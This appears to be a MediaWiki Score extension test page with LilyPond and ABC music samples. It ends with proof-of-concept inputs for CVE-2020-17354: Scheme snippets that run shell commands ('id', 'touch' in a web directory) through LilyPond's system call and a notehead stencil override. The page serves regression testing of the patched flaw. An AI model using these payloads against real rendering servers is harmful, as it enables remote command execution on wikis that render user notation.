Tim paste

Normal

$% 22 \relative c' { c d e f }$

Multipage

Raw

$% 6 \score { \relative c' { c d e } } \header { tagline = ##f } \paper { #(set-paper-size "a5") }$

Starling

$% 8 \relative a' { \set Staff.midiInstrument = #"recorder" \set Score.tempoHideNote = ##t \tempo 4 = 145 \key g \major \time 2/2 \partial 4 b8 c d4 d d g fis fis g g a a a8 b c a b2 }$

Rest

ABC

X:1
M:C
L:1/4
K:C
C, D, E, F,|G, A, B, C|D E F G|A B c d|
e f g a|b c' d' e'|f' g' a' b'|]

CVE-2020-17354

See T259210; unable to reproduce with LilyPond 2.23.82, MediaWiki REL1_39, Score on master.

1. PoC from task:

Unable to compile LilyPond input file:

line 6 - column 1:
Spurious expression in \score

2. Again, using raw=1:

$\header { tagline = ##f } { \relative { c' } } #(begin (define location 1) (display "With output-def-scope\n") (eval '(system "id") (ly:output-def-scope #{ \midi {} #})) (display "With output-def-lookup\n") ((ly:output-def-lookup #{ \midi {} #} 'system) "touch /var/www/mediawiki-test/images/lilypond/test-2") )$

3. Notehead stencil hack PoC, contributed in comment from LilyPond developer Han-wen Nienhuys:

${ \override NoteHead.text = \system \override NoteHead.stencil = #(lambda (grob) ((cdr (assoc 'text (cadr (ly:grob-alist-chain grob '())))) "touch /var/www/mediawiki-test/images/lilypond/test-3") #f) c4 }$